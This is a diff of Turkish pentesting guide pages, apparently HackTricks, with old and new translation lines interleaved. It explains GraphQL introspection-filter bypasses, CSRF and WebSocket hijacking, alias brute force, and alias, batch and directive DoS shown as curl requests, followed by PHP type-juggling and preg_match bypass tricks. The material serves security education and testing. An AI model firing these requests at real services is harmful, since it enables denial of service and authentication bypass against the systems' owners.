API'lerdeki inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `__schema` anahtar kelimesinden sonra **özel bir karakter eklemek** etkili olduğu kanıtlanmıştır. Bu yöntem, inspeksiyonu engellemeyi amaçlayan regex desenlerindeki yaygın geliştirici gözden kaçırmalarını istismar eder. GraphQL'in göz ardı ettiği ancak regex'te hesaba katılmayabilecek **boşluklar, yeni satırlar ve virgüller** gibi karakterler ekleyerek kısıtlamalar aşılabilir. Örneğin, `__schema` sonrasında bir yeni satır içeren bir inspeksiyon sorgusu bu tür savunmaları aşabilir:
 | 
			
		||||
API'lerde inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `__schema` anahtar kelimesinden sonra **özel bir karakter eklemek** etkili olduğu kanıtlanmıştır. Bu yöntem, inspeksiyonu engellemeyi amaçlayan regex desenlerindeki yaygın geliştirici gözden kaçırmalarını istismar eder. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmayabilecek **boşluklar, yeni satırlar ve virgüller** gibi karakterler ekleyerek kısıtlamalar aşılabilir. Örneğin, `__schema` sonrasında bir yeni satır içeren bir inspeksiyon sorgusu bu tür savunmaları aşabilir:
 | 
			
		||||
```bash
 | 
			
		||||
# Example with newline to bypass
 | 
			
		||||
{
 | 
			
		||||
@ -367,11 +367,11 @@ API'lerdeki inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `_
 | 
			
		||||
{queryType{name}}}"
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Eğer başarısız olursanız, **GET istekleri** veya **`x-www-form-urlencoded` ile POST** gibi alternatif istek yöntemlerini düşünün, çünkü kısıtlamalar yalnızca POST isteklerine uygulanabilir.
 | 
			
		||||
Eğer başarısız olursanız, **GET istekleri** veya **POST ile `x-www-form-urlencoded`** gibi alternatif istek yöntemlerini düşünün, çünkü kısıtlamalar yalnızca POST isteklerine uygulanabilir.
 | 
			
		||||
 | 
			
		||||
### WebSocket'leri Deneyin
 | 
			
		||||
 | 
			
		||||
[**bu konuşmada**](https://www.youtube.com/watch?v=tIo_t5uUK50) belirtildiği gibi, graphQL'e WebSocket'ler aracılığıyla bağlanmanın mümkün olup olmadığını kontrol edin, çünkü bu, potansiyel bir WAF'ı atlamanıza ve websocket iletişiminin graphQL şemasını sızdırmasına olanak tanıyabilir:
 | 
			
		||||
[**bu konuşmada**](https://www.youtube.com/watch?v=tIo_t5uUK50) belirtildiği gibi, graphQL'e WebSocket'ler aracılığıyla bağlanmanın mümkün olup olmadığını kontrol edin, çünkü bu, potansiyel bir WAF'ı atlamanıza ve websocket iletişiminin graphQL şemasını sızdırmasına olanak tanıyabilir.
 | 
			
		||||
```javascript
 | 
			
		||||
ws = new WebSocket("wss://target/graphql", "graphql-ws")
 | 
			
		||||
ws.onopen = function start(event) {
 | 
			
		||||
@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
 | 
			
		||||
```
 | 
			
		||||
### **Açık GraphQL Yapılarını Keşfetme**
 | 
			
		||||
 | 
			
		||||
İnceleme devre dışı bırakıldığında, web sitesinin kaynak kodunu JavaScript kütüphanelerinde önceden yüklenmiş sorgular için incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Sources` sekmesi kullanılarak bulunabilir ve API'nin şemasına dair bilgiler sunarak potansiyel olarak **açık hassas sorguları** ortaya çıkarır. Geliştirici araçlarında arama yapmak için kullanılan komutlar şunlardır:
 | 
			
		||||
İçgörü devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları bulmak için web sitesinin kaynak kodunu incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Sources` sekmesi kullanılarak bulunabilir ve API'nin şemasına dair bilgiler sunarak potansiyel olarak **açık hassas sorguları** ortaya çıkarabilir. Geliştirici araçlarında arama yapmak için kullanılan komutlar şunlardır:
 | 
			
		||||
```javascript
 | 
			
		||||
Inspect/Sources/"Search all files"
 | 
			
		||||
file:* mutation
 | 
			
		||||
@ -421,19 +421,19 @@ Ancak, çoğu GraphQL uç noktası da **`form-urlencoded` POST isteklerini** des
 | 
			
		||||
```javascript
 | 
			
		||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 | 
			
		||||
```
 | 
			
		||||
Bu nedenle, önceki gibi CSRF istekleri **ön uç istekleri olmadan** gönderildiğinden, CSRF'yi kötüye kullanarak GraphQL'de **değişiklikler** **yapmak** **mümkündür**.
 | 
			
		||||
Bu nedenle, önceki gibi CSRF istekleri **ön uç istekleri olmadan** gönderildiğinden, bir CSRF kullanarak GraphQL'de **değişiklikler** **yapmak** **mümkündür**.
 | 
			
		||||
 | 
			
		||||
Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax` olduğunu unutmayın. Bu, çerezin yalnızca GET isteklerinde üçüncü taraf bir webden gönderileceği anlamına gelir.
 | 
			
		||||
Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değerinin `Lax` olduğunu unutmayın. Bu, çerezin yalnızca üçüncü taraf bir webden GET istekleriyle gönderileceği anlamına gelir.
 | 
			
		||||
 | 
			
		||||
**Sorgu** **isteğini** ayrıca **GET** **isteği olarak göndermek genellikle mümkündür ve CSRF token'ı bir GET isteğinde doğrulanmayabilir.**
 | 
			
		||||
 | 
			
		||||
Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/) **saldırısını** kötüye kullanarak, kullanıcının kimlik bilgilerini kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir.
 | 
			
		||||
Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/index.html) **saldırısını** kullanarak, kullanıcının kimlik bilgilerini kötüye kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir.
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi için **buradaki** [**orijinal gönderiyi kontrol edin**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 | 
			
		||||
 | 
			
		||||
## GraphQL'de Çapraz Site WebSocket Ele Geçirme
 | 
			
		||||
 | 
			
		||||
GraphQL'i kötüye kullanan CRSF zafiyetlerine benzer şekilde, **korumasız çerezlerle GraphQL ile kimlik doğrulamasını kötüye kullanmak için bir Çapraz Site WebSocket ele geçirme gerçekleştirmek** ve bir kullanıcının GraphQL'de beklenmedik eylemler gerçekleştirmesini sağlamak da mümkündür.
 | 
			
		||||
GraphQL'deki CRSF zafiyetlerine benzer şekilde, **korumasız çerezlerle GraphQL ile kimlik doğrulamasını kötüye kullanmak için bir Çapraz Site WebSocket ele geçirme gerçekleştirmek** ve bir kullanıcının GraphQL'de beklenmedik eylemler gerçekleştirmesini sağlamak da mümkündür.
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi için kontrol edin:
 | 
			
		||||
 | 
			
		||||
@ -455,7 +455,7 @@ Mutasyon, diğer hesap verilerini değiştirmeye çalışarak hesap ele geçirme
 | 
			
		||||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### GraphQL'de Yetkiyi Aşma
 | 
			
		||||
### GraphQL'de Yetkilendirmeyi Aşma
 | 
			
		||||
 | 
			
		||||
[Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) zayıf bir kimlik doğrulama sistemini aşabilir.
 | 
			
		||||
 | 
			
		||||
@ -465,9 +465,9 @@ Aşağıdaki örnekte, işlemin "forgotPassword" olduğunu ve bunun yalnızca on
 | 
			
		||||
 | 
			
		||||
## GraphQL'de Takma Adlar Kullanarak Hız Sınırlarını Aşma
 | 
			
		||||
 | 
			
		||||
GraphQL'de, takma adlar, bir API isteği yaparken **özelliklerin açıkça adlandırılmasını** sağlayan güçlü bir özelliktir. Bu yetenek, tek bir istekte **aynı türden birden fazla nesne** almak için özellikle yararlıdır. Takma adlar, GraphQL nesnelerinin aynı isimde birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir.
 | 
			
		||||
GraphQL'de, takma adlar, bir API isteği yaparken **özelliklerin açıkça adlandırılmasını** sağlayan güçlü bir özelliktir. Bu yetenek, **aynı türden birden fazla nesneyi** tek bir istekte almak için özellikle yararlıdır. Takma adlar, GraphQL nesnelerinin aynı isimde birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir.
 | 
			
		||||
 | 
			
		||||
GraphQL takma adları hakkında detaylı bir anlayış için aşağıdaki kaynak önerilmektedir: [Takma Adlar](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
 | 
			
		||||
GraphQL takma adları hakkında detaylı bir anlayış için aşağıdaki kaynak önerilmektedir: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
 | 
			
		||||
 | 
			
		||||
Takma adların birincil amacı, çok sayıda API çağrısı gereksinimini azaltmak olsa da, takma adların bir GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabileceği beklenmedik bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, **HTTP isteklerinin sayısını** kısıtlayarak kaba kuvvet saldırılarını engellemek için tasarlanmış hız sınırlayıcıları tarafından korunduğu için mümkündür. Ancak, bu hız sınırlayıcıları her istekteki işlem sayısını dikkate almayabilir. Takma adlar, tek bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiğinden, bu tür hız sınırlama önlemlerini aşabilirler.
 | 
			
		||||
 | 
			
		||||
@ -486,22 +486,22 @@ valid
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
## GraphQL'de DoS
 | 
			
		||||
## DoS in GraphQL
 | 
			
		||||
 | 
			
		||||
### Alias Aşırı Yükleme
 | 
			
		||||
### Alias Overloading
 | 
			
		||||
 | 
			
		||||
**Alias Aşırı Yükleme**, saldırganların aynı alan için birçok alias ile bir sorguyu aşırı yüklediği bir GraphQL zayıflığıdır; bu, arka uç çözücünün o alanı tekrar tekrar çalıştırmasına neden olur. Bu, sunucu kaynaklarını aşırı yükleyebilir ve **Hizmet Reddi (DoS)** ile sonuçlanabilir. Örneğin, aşağıdaki sorguda, aynı alan (`expensiveField`) alias kullanılarak 1.000 kez talep edilmektedir; bu, arka ucu 1.000 kez hesaplamaya zorlayarak CPU veya belleği tüketebilir:
 | 
			
		||||
**Alias Overloading**, bir GraphQL zayıflığıdır; burada saldırganlar, arka uç çözücünün aynı alanı tekrar tekrar çalıştırmasına neden olarak bir sorguyu birçok takma ad ile aşırı yükler. Bu, sunucu kaynaklarını aşırı yükleyebilir ve **Hizmet Reddi (DoS)** ile sonuçlanabilir. Aşağıdaki sorguda, aynı alan (`expensiveField`) 1,000 kez takma adlar kullanılarak istenmektedir; bu, arka ucu 1,000 kez hesaplamaya zorlayarak CPU veya bellek tüketimini artırabilir:
 | 
			
		||||
```graphql
 | 
			
		||||
# Test provided by https://github.com/dolevf/graphql-cop
 | 
			
		||||
curl -X POST -H "Content-Type: application/json" \
 | 
			
		||||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
 | 
			
		||||
'https://example.com/graphql'
 | 
			
		||||
```
 | 
			
		||||
Bunu hafifletmek için, kaynak istismarını önlemek amacıyla takma ad sayısı limitleri, sorgu karmaşıklığı analizi veya hız sınırlaması uygulayın.
 | 
			
		||||
Bu durumu hafifletmek için, kaynak istismarını önlemek amacıyla alias sayısı limitleri, sorgu karmaşıklığı analizi veya hız sınırlaması uygulayın.
 | 
			
		||||
 | 
			
		||||
### **Dizi Tabanlı Sorgu Gruplama**
 | 
			
		||||
 | 
			
		||||
**Dizi Tabanlı Sorgu Gruplama**, bir GraphQL API'sinin tek bir istekte birden fazla sorgunun gruplandırılmasına izin verdiği bir zayıflıktır; bu da bir saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu, tüm gruplandırılmış sorguları paralel olarak çalıştırarak arka ucu aşırı yükleyebilir, aşırı kaynak tüketimine (CPU, bellek, veritabanı bağlantıları) neden olabilir ve potansiyel olarak bir **Hizmet Reddi (DoS)** durumuna yol açabilir. Bir gruptaki sorgu sayısı üzerinde bir limit yoksa, bir saldırgan bunu hizmetin kullanılabilirliğini azaltmak için istismar edebilir.
 | 
			
		||||
**Dizi Tabanlı Sorgu Gruplama**, bir GraphQL API'sinin tek bir istekte birden fazla sorgunun gruplandırılmasına izin verdiği bir zayıflıktır; bu da bir saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu, tüm gruplandırılmış sorguları paralel olarak çalıştırarak arka ucu aşırı yükleyebilir, aşırı kaynak tüketimine (CPU, bellek, veritabanı bağlantıları) neden olabilir ve potansiyel olarak bir **Hizmet Reddi (DoS)** durumuna yol açabilir. Eğer bir gruptaki sorgu sayısı için bir limit yoksa, bir saldırgan bunu hizmetin kullanılabilirliğini azaltmak için istismar edebilir.
 | 
			
		||||
```graphql
 | 
			
		||||
# Test provided by https://github.com/dolevf/graphql-cop
 | 
			
		||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
 | 
			
		||||
@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
 | 
			
		||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
 | 
			
		||||
'https://example.com/graphql'
 | 
			
		||||
```
 | 
			
		||||
Bu örnekte, 10 farklı sorgu tek bir istekte birleştirilerek sunucunun hepsini aynı anda çalıştırması zorlanmaktadır. Daha büyük bir toplu boyut veya hesaplama açısından pahalı sorgularla istismar edilirse, sunucuyu aşırı yükleyebilir.
 | 
			
		||||
Bu örnekte, 10 farklı sorgu tek bir istekte birleştirilerek sunucunun hepsini aynı anda çalıştırması zorlanıyor. Daha büyük bir toplu işlem boyutu veya hesaplama açısından pahalı sorgularla istismar edilirse, sunucuyu aşırı yükleyebilir.
 | 
			
		||||
 | 
			
		||||
### **Yönerge Aşırı Yükleme Açığı**
 | 
			
		||||
 | 
			
		||||
**Yönerge Aşırı Yükleme** bir GraphQL sunucusunun aşırı, tekrarlanan yönergelerle sorgulara izin vermesi durumunda meydana gelir. Bu, sunucunun ayrıştırıcısını ve yürütücüsünü aşırı yükleyebilir, özellikle sunucu aynı yönerge mantığını tekrar tekrar işliyorsa. Uygun doğrulama veya sınırlar olmadan, bir saldırgan, yüksek hesaplama veya bellek kullanımı tetiklemek için çok sayıda tekrarlanan yönerge içeren bir sorgu oluşturarak bunu istismar edebilir, bu da **Hizmet Reddi (DoS)** ile sonuçlanabilir.
 | 
			
		||||
**Yönerge Aşırı Yükleme** bir GraphQL sunucusunun aşırı, tekrarlayan yönergelerle sorgulara izin vermesi durumunda meydana gelir. Bu, sunucunun ayrıştırıcısını ve yürütücüsünü aşırı yükleyebilir, özellikle sunucu aynı yönerge mantığını tekrar tekrar işliyorsa. Uygun doğrulama veya sınırlar olmadan, bir saldırgan, yüksek hesaplama veya bellek kullanımı tetiklemek için çok sayıda tekrarlayan yönerge içeren bir sorgu oluşturarak bunu istismar edebilir; bu da **Hizmetin Reddi (DoS)** ile sonuçlanabilir.
 | 
			
		||||
```bash
 | 
			
		||||
# Test provided by https://github.com/dolevf/graphql-cop
 | 
			
		||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
 | 
			
		||||
@ -521,14 +521,14 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
 | 
			
		||||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
 | 
			
		||||
'https://example.com/graphql'
 | 
			
		||||
```
 | 
			
		||||
Not edin ki önceki örnekte `@aa` özel bir direktiftir ve **belirtilmemiş olabilir**. Genellikle mevcut olan yaygın bir direktif **`@include`**'dır:
 | 
			
		||||
Not edin ki önceki örnekte `@aa` özel bir direktiftir ve **belirtilmemiş olabilir**. Genellikle mevcut olan yaygın bir direktif **`@include`**dir:
 | 
			
		||||
```bash
 | 
			
		||||
curl -X POST \
 | 
			
		||||
-H "Content-Type: application/json" \
 | 
			
		||||
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
 | 
			
		||||
'https://example.com/graphql'
 | 
			
		||||
```
 | 
			
		||||
Ayrıca, tüm beyan edilen direktifleri keşfetmek için bir introspection sorgusu gönderebilirsiniz:
 | 
			
		||||
Ayrıca, tüm tanımlı direktifleri keşfetmek için bir introspeksiyon sorgusu gönderebilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
curl -X POST \
 | 
			
		||||
-H "Content-Type: application/json" \
 | 
			
		||||
@ -548,18 +548,18 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 | 
			
		||||
```
 | 
			
		||||
## Araçlar
 | 
			
		||||
 | 
			
		||||
### Güvenlik tarayıcıları
 | 
			
		||||
### Güvenlik Açığı Tarayıcıları
 | 
			
		||||
 | 
			
		||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql uç noktalarının yaygın yanlış yapılandırmalarını test edin
 | 
			
		||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql uç noktalarının yaygın yanlış yapılandırmalarını test eder
 | 
			
		||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Toplu GraphQL sorguları ve değişiklikleri gerçekleştirmeye odaklanan GraphQL güvenlik denetim scripti.
 | 
			
		||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Kullanılan graphql'yi parmak izi ile tanımlayın
 | 
			
		||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Kullanılan graphql'ü parmak izi ile tanımlar
 | 
			
		||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirmeyi test etmek, şemaları kaba kuvvetle denemek ve belirli bir tür için yollar bulmak için kullanılabilecek araç seti.
 | 
			
		||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Bağımsız olarak veya [Burp uzantısı](https://github.com/doyensec/inql) olarak kullanılabilir.
 | 
			
		||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Saldırıları otomatikleştirmek için CLI istemcisi olarak da kullanılabilir
 | 
			
		||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını** listeleyen araç.
 | 
			
		||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL'nin Bağımsız ve CLI Modlarının Halefidir
 | 
			
		||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_ InQL v5.0'ın merkezidir, burada bir GraphQL uç noktasını veya yerel bir introspection şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve değişiklikleri otomatik olarak oluşturur, bunları analiziniz için yapılandırılmış bir görünümde düzenler. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlamalarını aşmak için yararlı olabilecek toplu GraphQL saldırılarını gerçekleştirmenizi sağlar.
 | 
			
		||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Bazı Graphql veritabanlarının yardımıyla şemayı, introspection devre dışı olsa bile almaya çalışın; bu veritabanları değişikliklerin ve parametrelerin adlarını önerecektir.
 | 
			
		||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_ InQL v5.0'ın merkezidir, burada bir GraphQL uç noktasını veya yerel bir içgörü şeması dosyasını analiz edebilirsiniz. Tüm olası sorguları ve değişiklikleri otomatik olarak oluşturur, bunları analiziniz için yapılandırılmış bir görünümde düzenler. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlamalarını aşmak için yararlı olabilecek toplu GraphQL saldırılarını gerçekleştirmenizi sağlar.
 | 
			
		||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): İnspeksiyon devre dışı bırakıldığında bile şemayı elde etmeye çalışır, bazı Graphql veritabanlarının yardımıyla değişikliklerin ve parametrelerin adlarını önerir.
 | 
			
		||||
 | 
			
		||||
### İstemciler
 | 
			
		||||
 | 
			
		||||
@ -572,7 +572,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 | 
			
		||||
https://graphql-dashboard.herokuapp.com/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- AutoGraphQL'yi açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
 | 
			
		||||
- AutoGraphQL'ü açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -19,7 +19,7 @@ Konumlar:
 | 
			
		||||
/tmp/
 | 
			
		||||
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 | 
			
		||||
```
 | 
			
		||||
## PHP karşılaştırmalarını atlatma
 | 
			
		||||
## PHP karşılaştırmalarını atlama
 | 
			
		||||
 | 
			
		||||
### Gevşek karşılaştırmalar/Tür Karıştırma ( == )
 | 
			
		||||
 | 
			
		||||
@ -33,9 +33,9 @@ PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.compariso
 | 
			
		||||
 | 
			
		||||
- `"string" == 0 -> True` Sayı ile başlamayan bir dize, bir sayıya eşittir
 | 
			
		||||
- `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizelerle True sonucu ile karşılaştırılabilir (bir dizedeki sayılar sayılar olarak yorumlanır)
 | 
			
		||||
- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır
 | 
			
		||||
- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır
 | 
			
		||||
- `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlatabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 | 
			
		||||
- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşittir
 | 
			
		||||
- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşittir
 | 
			
		||||
- `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 | 
			
		||||
- `"X" == 0 --> True` Bir dizedeki herhangi bir harf, int 0'a eşittir
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi için [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
 | 
			
		||||
@ -63,17 +63,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
 | 
			
		||||
 | 
			
		||||
### Katı Tür Dönüşümü
 | 
			
		||||
 | 
			
		||||
`===` **kullanılıyor olsa bile**, karşılaştırmayı **tür dönüşümüne** **duyarlı** hale getiren hatalar olabilir. Örneğin, karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**:
 | 
			
		||||
`===` **kullanılıyor olsa bile**, **karşılaştırmayı zayıf hale getiren** hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**:
 | 
			
		||||
```php
 | 
			
		||||
(int) "1abc" === (int) "1xyz" //This will be true
 | 
			
		||||
```
 | 
			
		||||
### preg_match(/^.\*/)
 | 
			
		||||
 | 
			
		||||
**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (bu, **kullanıcı girişinde** herhangi bir **kelime/regex**'in **kara liste**de olup olmadığını **kontrol eder** ve eğer yoksa, kod çalışmaya devam edebilir).
 | 
			
		||||
**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (bu, **kullanıcı girişinde** herhangi bir **kelime/regex**'in **kara liste**de olup olmadığını **kontrol eder** ve eğer yoksa, kodun çalışmasına devam etmesine izin verir).
 | 
			
		||||
 | 
			
		||||
#### Yeni satır atlatma
 | 
			
		||||
 | 
			
		||||
Ancak, regexp'nin başlangıcını belirlerken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek:
 | 
			
		||||
Ancak, regexp'yi sınırlandırırken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek:
 | 
			
		||||
```php
 | 
			
		||||
$myinput="aaaaaaa
 | 
			
		||||
11111111"; //Notice the new line
 | 
			
		||||
@ -97,7 +97,7 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
 | 
			
		||||
#### **Uzunluk hatası atlatma**
 | 
			
		||||
 | 
			
		||||
(Bu atlatma, görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştırmayı başaramadım)\
 | 
			
		||||
Eğer `preg_match()` fonksiyonuna geçerli çok **büyük bir girdi** gönderebilirseniz, **işlem yapamayacak** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz:
 | 
			
		||||
Eğer `preg_match()`'e geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
 | 
			
		||||
```
 | 
			
		||||
@ -109,17 +109,17 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
